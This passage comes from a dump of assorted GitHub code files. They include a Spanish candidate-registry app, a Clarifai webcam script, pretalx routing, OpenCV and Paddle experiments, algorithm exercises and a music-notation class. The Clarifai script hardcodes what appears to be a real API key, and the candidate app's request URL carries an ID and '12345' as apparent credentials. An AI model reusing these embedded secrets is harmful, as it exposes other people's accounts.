\" + candi[3])\r\n\t\tprint(\"Lugar de la actividad: \" + candi[4])\r\n\t\tprint(\"-------------------------------------------------------------------------------------------------------- \\n\")\r\n\tinput(\"presione enter para continuar\")\r\n\tmenu() \r\n\r\n#LISTA DE CANDIDATO CON SIGNO ZODIACAL.\t\r\ndef listazodiaco():\r\n\tlimpiar()\r\n\tprint(\"estos son los que has agregado\")\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tsigno = [\"Capricornio\",\"Acuario\",\"Piscis\",\"Aries\",\"Tauro\",\"Geminis\",\"Cancer\",\"Leo\",\"Virgo\",\"Libra\",\"Escorpio\",\"Sagitario\"]\r\n\tfecha = [20, 19, 20, 20, 21, 21, 22, 22, 22, 22, 22, 21]\r\n\tprint(\"Aqui estan los candidatos por signo zodiacal\")\r\n\tfor f in datos:\r\n\t fila = f.split(\"&\")\r\n\t candi = fila[2]\r\n\t candi = candi.split(\"~\") \r\n\t zodiaco = candi[3]\r\n\t zodiaco = zodiaco.split(\"/\")\r\n\t mes = zodiaco[1]\r\n\t dia = zodiaco[0]\r\n\t mes2 = int(mes)\r\n\t dia2 = int(dia)\r\n\t mes2 = mes2 - 1\r\n\t if dia2 > fecha[mes2]:\r\n\t \t\tmes2 = mes2 + 1 \r\n\t if mes2 == 12:\r\n\t \tmes2 = 0\r\n\t \tpass\r\n\t print(\"Cedula: \"+ candi[0])\r\n\t print(\"Nombre del candidato: \" + candi[1])\r\n\t print(\"Su signo sodiacal es \"+ signo[mes2])\r\n\t print(\"-------------------------------------------------------------------------------------------------------- \\n\")\r\n\tinput(\"presione enter para continuar\")\r\n\tmenu()\r\n\r\n\r\n\r\n\r\n#EXPORTAR CANDIDATO\r\ndef exportar():\r\n\tlimpiar()\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tfor f in datos:\r\n\t\tfila = f.split(\"&\")\r\n\t\tcandi = fila[2]\r\n\t\tcandi = candi.split(\"~\")\r\n\t\tubicacion = Path(\"C:/FELIZ/\"+candi[0]+\".html\")\r\n\t\tif ubicacion.exists():\r\n\t\t\tarchivo = open(\"C:/FELIZ/\"+candi[0]+\".html\", \"r\")\r\n\t\t\tdatos2 = archivo.read()\r\n\t\t\tarchivo.close()\r\n\t\t\tcandd2 = json.loads(datos2)\r\n\t\t\tprint(\"Ya existe \"+candi[1]+\" en la carpeta FELIZ del disco local\")\r\n\t\r\n\r\n\tprint(\"Que candidato desea exportar.\\n\")\r\n\tdatos = requests.get(\"http://adamix.net/api/itla/misDatos/20186212/12345\").text\r\n\tdatos = datos.split(\"\\n\")\r\n\tprint(\"Esto son los candidatos\\n\")\r\n\tfor f in datos:\r\n\t fila = f.split(\"&\")\r\n\t candi = fila[2]\r\n\t candi = candi.split(\"~\")\r\n\t print(\"ID: \"+fila[0])\r\n\t print(\"Cedula del candidato: \" + candi[1])\r\n\t print(\"Nombre del candidato: \" + candi[2])\r\n\t print(\"-------------------------------------------------------------------------------------------------------- \\n\")\r\n\tnum = input(\"Seleccione un cadidato introduciendo la ID: \" + \" \")\r\n\tfor h in datos:\r\n\t\thigh = h.split(\"&\")\r\n\t\tcc = high[2]\r\n\t\tcc = cc.split(\"~\")\r\n\t\tif num == high[0]:\r\n\t\t\tinfocan =\"

Candidato: \"+cc[1]+\"

Cedula: \"+cc[0]+\"
Nombre: \"+cc[1]+\"
Apellido: \"+cc[2]+\"
Tipo de sangre: \"+cc[4]+\"
Fecha de nacimiento: \"+cc[3]+\"
Partido: \"+cc[5]+\"
Size del traje: \"+cc[6]+\"
Telefono\"+cc[7]+\"
Celular: \"+cc[8]+\"
Email: \"+cc[9]+\"
Direccion: \"+cc[10] +\"
Persona de contacto: \"+cc[11]+\"
Telefono de contacto: \"+cc[12]\r\n\r\n\t\t\tdatos2 = json.dumps(infocan)\r\n\t\t\tf = open(\"C:/FELIZ/\"+cc[0]+\".html\",\"w\")\r\n\t\t\tf.write(datos2)\r\n\t\t\tf.close()\r\n\tprint(\"Se exporto el candidato a la carpeta FELIZ del disco local\")\t\t\r\n\tinput(\"presione enter para continuar\")\r\n\tmenu()\t\r\n\r\n\r\n#MENU PRINCIPAL\r\ndef menu():\r\n\tlimpiar()\r\n\tprint(\" =============PROGRAMA DE CANDIDATOS===========\\n\")\r\n\tprint(\"a- Gestionar Candidato\\n\")\r\n\tprint(\"b- Gestionar Actividades\\n\")\r\n\tprint(\"c- Reportes\\n\")\r\n\tprint(\"d- salir\\n\")\r\n\ttmp = input(\"Que opcion desea: \")\r\n\tif(tmp == \"a\"):\r\n\t\tgestionC()\r\n\telif(tmp == \"b\"):\r\n\t\tactividades()\r\n\telif(tmp == \"c\"):\r\n\t\treportesc()\r\n\telif(tmp ==\"d\"):\r\n\t\tlimpiar()\r\n\t\tprint(\"Adios :\")\r\n\t\tsys.exit()\r\n\telse:\r\n\t\tprint(\"Amigo debe de elegir algo valido\")\r\n\t\tmenu()\r\n\tinput()\r\nmenu()\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"oscarliz/Candidatos-Python-3","sub_path":"ELFINAL.py","file_name":"ELFINAL.py","file_ext":"py","file_size_in_byte":13467,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"31140469521","text":"import cv2\nimport time\nfrom clarifai.rest import ClarifaiApp\n\n# Create your API key in your account's Application details page:\n# https://clarifai.com/apps\n\napp = ClarifaiApp(api_key='65d4e71d02134ee38e1fbf37919bde33')\n\n# You can also create an environment variable called `CLARIFAI_API_KEY`\n# and set its value to your API key.\n# In this case, the construction of the object requires no `api_key` argument.\n\napp = ClarifaiApp()\n\nmodel = app.models.get('face-v1.3')\n\ncv2.namedWindow(\"preview\")\nvc = cv2.VideoCapture(0)\n\nif vc.isOpened(): # try to get the first frame\n rval, frame = vc.read()\nelse:\n rval = False\n\nwhile rval:\n\tcv2.imshow(\"preview\", frame)\n\trval, frame = vc.read()\n\tkey = cv2.waitKey(20)\n\tif key == 27: # exit on ESC\n\t\tbreak\n\ttime.sleep(1) \n\ncv2.destroyWindow(\"preview\")","repo_name":"PMiskew/Year9DesignTeaching2020_PYTHON","sub_path":"Random Test Stuff/cameraShot1.py","file_name":"cameraShot1.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"5576923323","text":"from django.conf.urls import include\nfrom django.urls import re_path\n\nfrom pretalx.common.views import get_static\nfrom pretalx.event.models.event import SLUG_CHARS\n\nfrom .views import featured, feed, schedule, speaker, talk, widget\n\n\ndef get_schedule_urls(regex_prefix, name_prefix=\"\"):\n \"\"\"given a prefix (e.g. /schedule) generate matching schedule-URLs (e.g.\n\n /schedule.json, /schedule/feed.xml, ...)\n \"\"\"\n\n regex_prefix = regex_prefix.rstrip(\"/\")\n\n return [\n re_path(f\"{regex_prefix}{regex}\", view, name=f\"{name_prefix}{name}\")\n for regex, view, name in [\n (\"/$\", schedule.ScheduleView.as_view(), \"schedule\"),\n (\".xml$\", schedule.ExporterView.as_view(), \"export.schedule.xml\"),\n (\".xcal$\", schedule.ExporterView.as_view(), \"export.schedule.xcal\"),\n (\".json$\", schedule.ExporterView.as_view(), \"export.schedule.json\"),\n (\".ics$\", schedule.ExporterView.as_view(), \"export.schedule.ics\"),\n (\n \"/export/(?P[A-Za-z.-]+)$\",\n schedule.ExporterView.as_view(),\n \"export\",\n ),\n ]\n ]\n\n\napp_name = \"agenda\"\nurlpatterns = [\n re_path(\n fr\"^(?P[{SLUG_CHARS}]+)/\",\n include(\n [\n re_path(\n r\"^schedule/changelog/$\",\n schedule.ChangelogView.as_view(),\n name=\"schedule.changelog\",\n ),\n re_path(r\"^schedule/feed.xml$\", feed.ScheduleFeed(), name=\"feed\"),\n re_path(\n r\"^schedule/widget/v(?P[0-9]+).(?P[a-z]{2}).js$\",\n widget.widget_script,\n name=\"widget.script\",\n ),\n re_path(\n r\"^schedule/widget/v(?P[0-9]+).js$\",\n widget.widget_script,\n name=\"widget.script\",\n ),\n re_path(\n r\"^schedule/widget/v(?P[0-9]+).css$\",\n widget.widget_style,\n name=\"widget.style\",\n ),\n re_path(\n r\"^schedule/widget/v1.json$\",\n widget.WidgetData.as_view(),\n name=\"widget.data\",\n ),\n re_path(\n r\"^schedule/widget/v2.json$\",\n widget.widget_data_v2,\n name=\"widget.data.2\",\n ),\n *get_schedule_urls(\"^schedule\"),\n *get_schedule_urls(\"^schedule/v/(?P.+)\", \"versioned-\"),\n re_path(r\"^sneak/$\", featured.sneakpeek_redirect, name=\"oldsneak\"),\n re_path(\n r\"^featured/$\", featured.FeaturedView.as_view(), name=\"featured\"\n ),\n re_path(r\"^speaker/$\", speaker.SpeakerList.as_view(), name=\"speakers\"),\n re_path(\n r\"^speaker/by-id/(?P\\d+)/$\",\n speaker.SpeakerRedirect.as_view(),\n name=\"speaker.redirect\",\n ),\n re_path(r\"^talk/$\", schedule.ScheduleView.as_view(), name=\"talks\"),\n re_path(r\"^talk/(?P\\w+)/$\", talk.TalkView.as_view(), name=\"talk\"),\n re_path(\n r\"^talk/(?P\\w+)/feedback/$\",\n talk.FeedbackView.as_view(),\n name=\"feedback\",\n ),\n re_path(\n r\"^talk/(?P\\w+).ics$\",\n talk.SingleICalView.as_view(),\n name=\"ical\",\n ),\n re_path(\n r\"^talk/review/(?P\\w+)$\",\n talk.TalkReviewView.as_view(),\n name=\"review\",\n ),\n re_path(\n r\"^speaker/(?P\\w+)/$\",\n speaker.SpeakerView.as_view(),\n name=\"speaker\",\n ),\n re_path(\n r\"^speaker/(?P\\w+)/talks.ics$\",\n speaker.SpeakerTalksIcalView.as_view(),\n name=\"speaker.talks.ical\",\n ),\n ]\n ),\n ),\n re_path(\n r\"^sw.js\",\n get_static,\n {\n \"path\": \"agenda/js/serviceworker.js\",\n \"content_type\": \"application/javascript\",\n },\n ),\n]\n","repo_name":"adamzammit/pretalx","sub_path":"src/pretalx/agenda/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"15689973016","text":"import cv2\nimport numpy as np\nimport os\n\ndef empty(self):\n pass\n\n\nimg = cv2.imread('cropped.jpg')\n\n\nwindowName = 'threshold'\ncv2.namedWindow(windowName)\ncv2.createTrackbar('kernel size', windowName, 0, 5, empty)\ncv2.createTrackbar('iteration', windowName, 0, 10, empty)\nlab = cv2.cvtColor(img, cv2.COLOR_BGR2LAB)\nl, a, b = cv2.split(lab)\n_, threshed = cv2.threshold(a, 0, 255, cv2.THRESH_OTSU + cv2.THRESH_BINARY)\n\nwhile True:\n if cv2.waitKey(10) == 27:\n break\n kernelSize = cv2.getTrackbarPos('kernel size', windowName)\n if kernelSize == 0:\n kernelSize += 1\n iteration = cv2.getTrackbarPos('iteration', windowName)\n kernel = cv2.getStructuringElement(cv2.MORPH_RECT, (kernelSize, kernelSize))\n temp = threshed.copy()\n eroded = cv2.morphologyEx(threshed, cv2.MORPH_ERODE, kernel, iterations=iteration)\n eroded = cv2.cvtColor(eroded, cv2.COLOR_GRAY2BGR)\n cv2.putText(eroded, 'Erode', (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)\n dilated = cv2.morphologyEx(threshed, cv2.MORPH_DILATE, kernel, iterations=iteration)\n dilated = cv2.cvtColor(dilated, cv2.COLOR_GRAY2BGR)\n cv2.putText(dilated, 'Dilate', (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)\n opening = cv2.morphologyEx(threshed, cv2.MORPH_OPEN, kernel, iterations=iteration)\n opening = cv2.cvtColor(opening, cv2.COLOR_GRAY2BGR)\n cv2.putText(opening, 'Open', (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)\n temp = cv2.cvtColor(temp, cv2.COLOR_GRAY2BGR)\n cv2.putText(temp, 'Original', (20, 50), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)\n\n stack1 = np.hstack((temp, eroded))\n stack2 = np.hstack((dilated, opening))\n stacked = np.vstack((stack1, stack2))\n\n cv2.imshow(windowName, stacked)","repo_name":"dlinky/image_process_tools","sub_path":"morphology.py","file_name":"morphology.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9651764906","text":"import paddle\nimport paddle.fluid as fluid\nimport numpy as np\nfrom paddle.fluid.dygraph import to_variable\n\nclass BasicModel(fluid.dygraph.Layer):\n def __init__(self,nums_classes = 59):\n super(BasicModel,self).__init__()\n self.pool = fluid.Pool2D(pool_size=2,pool_stride=2)\n self.conv = fluid.Conv2D(num_channels=3,num_filters=1,filter_size=1)\n def forward(self,inputs):\n x = self.pool(inputs)\n x = paddle.nn.functional.interpolate(x,size= (inputs.shape[2],inputs.shape[3]))\n return x\n\n\ndef main():\n place = paddle.fluid.CPUPlace()\n with fluid.dygraph.guard(place):\n model = BasicModel(nums_classes=59)\n model.eval()\n input_data = np.random.rand(1,3,8,8).astype(np.float32)\n input_data = to_variable(input_data)\n output_data = model(input_data)\n print(output_data)\n output_data = output_data.numpy()\n print(output_data.shape)\nif __name__==\"__main__\":\n main()","repo_name":"wszzzx/Paddle_Seg","sub_path":"day_02/basic_new.py","file_name":"basic_new.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13223178457","text":"\"\"\"Write a function that takes a single string (word) as argument. \nThe function must return an ordered list containing the indexes \nof all capital letters in the string.\"\"\"\n\ndef SearchCapitals(word):\n\n capitals = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\", \"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\n\n capitals_index = []\n\n for letter in word:\n if letter in capitals:\n capitals_index.append(word.index(letter))\n\n return capitals_index\n\nprint(SearchCapitals('CodEWaRs')) # ---> [0, 3, 4, 6] #","repo_name":"lautajam/python_katas","sub_path":"7_kyu/Find_the_capitals.py","file_name":"Find_the_capitals.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22963340277","text":"import unittest\nimport requests\n\nimport os\nimport sys\nimport json\n\npath_to_settings = os.path.dirname(\n os.path.dirname(os.path.dirname(\n os.path.dirname(os.path.abspath(__file__)))))\n\nsys.path.append(path_to_settings)\n\nfrom settings import HOST, PORT\n\nbase_url = 'http://%s:%s'%(HOST,PORT)\n\nresource_url = base_url + '/' + 'resources'\n\nclass ResourceTest(unittest.TestCase):\n def setUp(self,):\n # Test to see if connected to site. If not an error is thrown right\n # away\n r = requests.get(base_url)\n self.assertEqual(r.status_code,200)\n\n def step_get_resources(self,):\n r = requests.get(resource_url)\n print(r.text)\n\n def step_get_resource(self,resourceid):\n resource_url_num = resource_url + \"/\" + str(resourceid)\n r = requests.get(resource_url_num)\n self.assertEqual(200,r.status_code)\n\n def step_create_resource(self,):\n data = {\"data\":{\"attributes\":{\"url\":\"http://google.com\",\n \"title\":\"Google\",\n \"category\":\"1\",\n \"description\":\"A great search engine.\"},\n \"headers\":'text/json',\n \"type\":\"resource\"}}\n r = requests.post(resource_url,json=data)\n print(r.text)\n self.assertEqual(r.status_code,201)\n return r.text\n\n def step_modify_resource(self,resourceid):\n resource_url_num = resource_url + \"/\" + str(resourceid)\n data = {\"data\":{\"attributes\":{\"url\":\"http://www.bing.com\",\n \"title\":\"Bing\",\n \"category\":\"1\",\n \"description\":\"A great search engine too.\"},\n \"headers\":'text/json',\n \"type\":\"resource\"}}\n\n r = requests.put(resource_url_num,json=data)\n print(r.text)\n self.assertEqual(200,r.status_code)\n\n def step_delete_resource(self,resourceid):\n resource_url_num = resource_url + \"/\" + str(resourceid)\n\n r = requests.delete(resource_url_num)\n\n self.assertEqual(204,r.status_code)\n\n\n\n\n\n def test_resources(self,):\n self.step_get_resources()\n resource = json.loads(self.step_create_resource())\n resource_id = resource[\"data\"][\"id\"]\n\n\n resource = self.step_get_resource(resource_id)\n self.step_modify_resource(resource_id)\n self.step_delete_resource(resource_id)\n\n\n\nif __name__=='__main__':\n unittest.main()\n","repo_name":"Tranquilled/mstsversion2","sub_path":"mstsv2/mstsv2app/resources/tests/test_resource.py","file_name":"test_resource.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7797047641","text":"\nimport datetime\nimport tweetbot_lib\n\nSTART_DATE = datetime.datetime(2019, 4, 19, 5, 0, 0) # 5AM 18-April-2019\n\ndef main():\n tweetbot_lib.MAX_TWEET_LEN = 280\n today_tweet = tweetbot_lib.parse_text_and_get_today_tweet('second_inaugural.txt', START_DATE, use_lines=True)\n today_tweet.publish()\n\nif __name__ == '__main__':\n main()\n","repo_name":"kesterallen/twitterbots","sub_path":"twitter_second_inaugural.py","file_name":"twitter_second_inaugural.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"9898045175","text":"from typing import List\n\nimport numpy as np\n\n\ndef range_extraction(numbers: List[int]) -> str:\n \"\"\"Convert a list of increasing numbers into a string in the range format.\n\n Parameters\n ----------\n numbers: List[int]\n A list of integers in increasing order\n\n Returns\n -------\n range_format_string: str\n A correctly formatted string in the range format\n \"\"\"\n range_format_string = ''\n if numbers:\n ranges = []\n start_number = stop_number = numbers[0]\n\n for number in numbers[1:] + [np.inf]:\n if number != stop_number + 1:\n if stop_number == start_number:\n ranges.append(f'{stop_number}')\n elif stop_number == start_number + 1:\n ranges.append(f'{start_number},{stop_number}')\n else:\n ranges.append(f'{start_number}-{stop_number}')\n start_number = number\n stop_number = number\n\n range_format_string = \",\".join(ranges)\n return range_format_string\n\n\ndef range_extraction_2(numbers: List[int]) -> str:\n \"\"\"Convert a list of increasing numbers into a string in the range format.\n\n A format for expressing an ordered list of integers is to use a comma\n separated list of either:\n - individual integers\n - or a range of integers denoted by the starting integer separated from\n the end integer in the range by a dash, '-'.\n The range includes all integers in the interval including both endpoints. It's\n not considered a range unless it spans at least 3 numbers, e.g. \"12,13,15-17\"\n\n Parameters\n ----------\n numbers: List[int]\n A list of integers in increasing order\n\n Returns\n -------\n range_format_string: str\n A correctly formatted string in the range format\n \"\"\"\n if numbers:\n sorted_numbers = sorted(numbers)\n groups = get_groups(sorted_numbers)\n ranges = create_range_format_strings(groups)\n return ','.join(ranges)\n\n\ndef get_groups(numbers: List[int]) -> List[List[int]]:\n \"\"\"Take a list of increasing ints and return groups of consecutive numbers.\n\n Parameters\n ----------\n numbers: List[int]\n A list of integers in increasing order\n\n Returns\n -------\n groups: List[List[int]]\n A list of groups consisting of consecutive numbers\n \"\"\"\n groups = []\n tmp = [numbers[0]]\n if len(numbers) > 1:\n for idx, value in enumerate(numbers[1:], start=1):\n if value == numbers[idx - 1] + 1:\n tmp.append(value)\n else:\n groups.append(tmp)\n tmp = [value]\n groups.append(tmp)\n return groups\n\n\ndef create_range_format_strings(groups: List[List[int]]) -> List[str]:\n \"\"\"Convert a list of groups of consecutive numbers into range format strings\n\n Parameters\n ----------\n groups: List[List[int]]\n A list of groups consisting of consecutive numbers\n\n Returns\n -------\n range_format_strings: List[str]\n A list of strings formatted according to the range format\n \"\"\"\n range_format_strings = []\n for group in groups:\n group_length = len(group)\n if group_length < 3:\n range_format_strings.append(','.join(map(str, group)))\n if group_length >= 3:\n range_format_strings.append('-'.join(map(str, group[::group_length - 1])))\n return range_format_strings\n","repo_name":"fkandzia/codewars","sub_path":"python/kyu_4/range_extraction.py","file_name":"range_extraction.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42229408027","text":"#\n# @lc app=leetcode.cn id=56 lang=python\n#\n# [56] 合并区间\n#\n\n# @lc code=start\n# Definition for an interval.\nclass Solution(object):\n def merge(self, intervals):\n out = []\n for i in sorted(intervals):\n if out and i[0] <= out[-1][1]: # 如果out不是空的,且,i的左值小于等于out最后一个区间的右值\n out[-1][1] = max(out[-1][1], i[1]) # out最后一个区间的右值,取,当前值和i区间右值得最大值\n else:\n out += [i] # 把i加到out里\n return out\ns = Solution()\nintervals = [[1,3],[2,6],[8,10],[15,18]]\nre = s.merge(intervals)\nprint(re)\n\n# @lc code=end\n\n","repo_name":"Zhou-Yuqi/Leetcode-Python","sub_path":"leetcode/56.合并区间.py","file_name":"56.合并区间.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"20235825459","text":"import random\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n#%%\n# Funciones de búsquedas\n\ndef busqueda_secuencial_(lista, x):\n '''Si x está en la lista devuelve el índice de su primer aparición, \n de lo contrario devuelve -1.\n '''\n comps = 0 # inicializo en cero la cantidad de comparaciones\n pos = -1\n for i,z in enumerate(lista):\n comps += 1 # sumo la comparación que estoy por hacer\n if z == x:\n pos = i\n break\n return pos, comps\n\ndef busqueda_binaria(lista, x):\n '''Búsqueda binaria\n Precondición: la lista está ordenada\n Devuelve -1 si x no está en lista;\n Devuelve p tal que lista[p] == x, si x está en lista\n '''\n comps = 0\n pos = -1 \n izq = 0\n der = len(lista) - 1\n while izq <= der:\n comps += 1\n medio = (izq + der) // 2\n if lista[medio] == x:\n pos = medio \n if lista[medio] > x:\n der = medio - 1 \n else: \n izq = medio + 1 \n return pos, comps\n\n#%%\n# Experimentos\n\ndef generar_lista(n, m):\n l = random.sample(range(m), k = n)\n l.sort()\n return l\n\ndef generar_elemento(m):\n return random.randint(0, m-1)\n\nm = 10000\nn = 100\nk = 1000\nlista = generar_lista(n, m)\n\ndef experimento_secuencial_promedio(lista, m, k):\n comps_tot = 0\n for i in range(k):\n x = generar_elemento(m)\n comps_tot += busqueda_secuencial_(lista,x)[1]\n \n comps_prom = comps_tot / k\n return comps_prom\n\ndef experimento_binario_promedio(lista, m, k):\n comps_tot = 0\n for i in range(k):\n x = generar_elemento(m)\n comps_tot += busqueda_binaria(lista,x)[1]\n\n comps_prom = comps_tot / k\n return comps_prom\n\n\n#%%\n# Comparaciones\nlargos = np.arange(256) + 1 # largos de listas a usar\ncomps_promedio_bin = np.zeros(256) # promedio de comparaciones sobre una lista de largo i, para i entre 1 y 256.\ncomps_promedio_sec = np.zeros(256)\n\nfor i, n in enumerate(largos):\n lista = generar_lista(n, m) # lista de largo n\n comps_promedio_bin[i] = experimento_binario_promedio(lista, m, k)\n comps_promedio_sec[i] = experimento_secuencial_promedio(lista, m, k)\n\n#%%\n# Gráficos\n## Gráfico de comparaciones de búsqueda binaria\n\nplt.plot(largos, comps_promedio_bin, label='Búsqueda Binaria')\nplt.xlabel(\"Largo de la lista\")\nplt.ylabel(\"Cantidad de comparaiciones\")\nplt.title(\"Complejidad de la Búsqueda\")\nplt.legend()\n\n## Gráfico de ambas comparaciones\nplt.plot(largos, comps_promedio_bin, label='Búsqueda Binaria')\nplt.plot(largos, comps_promedio_sec, label='Búsqueda Secuencial')\nplt.xlabel(\"Largo de la lista\")\nplt.ylabel(\"Cantidad de comparaiciones\")\nplt.title(\"Complejidad de la Búsqueda\")\nplt.ylim([0, 10])\nplt.legend()\nplt.show()","repo_name":"manuelklug/learning","sub_path":"Python UNSAM/Clase 5/plot_bbin_vs_bsec.py","file_name":"plot_bbin_vs_bsec.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30841486709","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 21 22:16:58 2023\n\n@author: djordjemihajlovic\n\"\"\"\n\nfrom GameOfLifeUpdate import Simulate\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n\nclass GameOfLife(object): # Set up simple class to animate dependent on chosen simulation\n \n def __init__(self, N):\n \n self.GOL = Simulate(N)\n \n self.fig, self.ax = plt.subplots() \n self.implot = self.ax.imshow(self.GOL.lattice, cmap = 'gray')\n self.ani = None # For storing animation object\n \n def run(self):\n\n self.ani = animation.FuncAnimation(self.fig, self.animate,\n interval=5, blit=True)\n plt.show()\n\n \n def animate(self, frame): #This determines each frame of animation\n self.GOL.update()\n self.implot.set_data(self.GOL.lattice)\n self.GOL.count() #want to compare previous GOL counts every 10\n\n return self.implot,\n \n \ndef main():\n \n Sim = int(input(\"Simulation type, 0 for random, 1 for glider, 2 for blinker, 3 for beehive = \"))\n S = GameOfLife(100)\n if Sim == 1:\n S.GOL.glider()\n \n if Sim == 2:\n S.GOL.blinker()\n \n if Sim == 3:\n S.GOL.beehive()\n \n \n \n S.run()\n\n \nmain()\n \n","repo_name":"djordjepmihajlovic/GOL-and-SIRS","sub_path":"GameOfLife.py","file_name":"GameOfLife.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42085815905","text":"from __future__ import annotations\n\nfrom typing import Optional, cast\n\nfrom neoscore.core.directions import DirectionY\nfrom neoscore.core.exceptions import NoFlagNeededError\nfrom neoscore.core.music_font import MusicFont\nfrom neoscore.core.music_text import MusicText\nfrom neoscore.core.point import PointDef\nfrom neoscore.core.positioned_object import PositionedObject\nfrom neoscore.western.duration import Duration, DurationDef\nfrom neoscore.western.duration_display import DurationDisplay\n\n\nclass Flag(MusicText):\n\n \"\"\"A simple flag glyph determined by a duration and direction\"\"\"\n\n _up_glyphnames = {\n 8: \"flag1024thUp\",\n 7: \"flag512thUp\",\n 6: \"flag256thUp\",\n 5: \"flag128thUp\",\n 4: \"flag64thUp\",\n 3: \"flag32ndUp\",\n 2: \"flag16thUp\",\n 1: \"flag8thUp\",\n }\n _down_glyphnames = {\n 8: \"flag1024thDown\",\n 7: \"flag512thDown\",\n 6: \"flag256thDown\",\n 5: \"flag128thDown\",\n 4: \"flag64thDown\",\n 3: \"flag32ndDown\",\n 2: \"flag16thDown\",\n 1: \"flag8thDown\",\n }\n\n def __init__(\n self,\n pos: PointDef,\n parent: PositionedObject,\n duration: Duration,\n direction: DirectionY,\n font: Optional[MusicFont] = None,\n ):\n \"\"\"\n Args:\n pos: The position of this flag. When ``parent`` is a stem end point\n this should typically be :obj:`.ORIGIN`.\n parent: If no font is given, this or one of its ancestors must\n implement :obj:`.HasMusicFont`.\n duration: The duration corresponding to the flag. This controls the flag\n glyph rendered.\n direction: The direction of the flag\n font: If provided, this overrides any font found in the ancestor chain.\n \"\"\"\n self.duration = duration\n self.direction = direction\n duration_display = cast(DurationDisplay, self.duration.display)\n if duration_display.flag_count == 0:\n raise NoFlagNeededError(self.duration)\n if self.direction == DirectionY.DOWN:\n glyph_name = self._down_glyphnames[duration_display.flag_count]\n else:\n glyph_name = self._up_glyphnames[duration_display.flag_count]\n MusicText.__init__(self, pos, parent, [glyph_name], font)\n\n @property\n def duration(self) -> Duration:\n return self._duration\n\n @duration.setter\n def duration(self, value: DurationDef):\n value = Duration.from_def(value)\n if value.display is None:\n raise ValueError(f\"{value} cannot be represented as a single note\")\n self._duration = value\n\n @property\n def direction(self) -> DirectionY:\n return self._direction\n\n @direction.setter\n def direction(self, value: DirectionY):\n self._direction = value\n\n @classmethod\n def vertical_offset_needed(cls, duration: Duration) -> int:\n \"\"\"Find the space needed in a stem using a flag of a given duration\n\n The value is given in pseudo-staff-units.\n \"\"\"\n if duration.display is None:\n return 0\n elif duration.display.flag_count:\n return 1\n else:\n return 0\n","repo_name":"DigiScore/neoscore","sub_path":"neoscore/western/flag.py","file_name":"flag.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"75"} +{"seq_id":"16647346707","text":"#### FINISHED ####\r\n\r\n\r\n# CTI-110\r\n# P4HW1 - Score List\r\n# Colby Apichell \r\n# 11/08/2022\r\n#\r\n# This program allows the user to enter multiple scores and then drops the lowest score.\r\n# The program then averages the scores and outputs rlevant data in the box below.\r\n\r\n\r\n# create a blank list\r\n\r\n# ask for number of scores\r\n\r\n# input scores\r\n\r\n# is score valid?\r\n\r\n# do some math, dropping lowest score and averaging\r\n\r\n# show grade and relevant data\r\n\r\n\r\nscores = []\r\n\r\nentries = 1\r\n\r\n\r\nnum_scores = int(input('How many scores would you like to enter? '))\r\n\r\nwhile entries <= num_scores:\r\n print(f'Enter score #{entries}: ', end = ' ')\r\n new_score = int(input())\r\n if new_score < 0 or new_score > 100 :\r\n print('INVALID score entered!!!!')\r\n print('Score shoud be between 0 and 100')\r\n print(f'Enter score {entries} again: ')\r\n print()\r\n \r\n else:\r\n scores.append(new_score)\r\n entries += 1\r\n\r\nlow = min(scores)\r\nhigh = max(scores)\r\n\r\nscores.remove(low)\r\n\r\nsum_of_grades = sum(scores)\r\navg = (sum_of_grades / len(scores))\r\n\r\n\r\nif avg >= 90:\r\n final_grade = 'A'\r\nelif avg >= 80:\r\n final_grade = 'B'\r\nelif avg >= 70:\r\n final_grade = 'C'\r\nelif avg 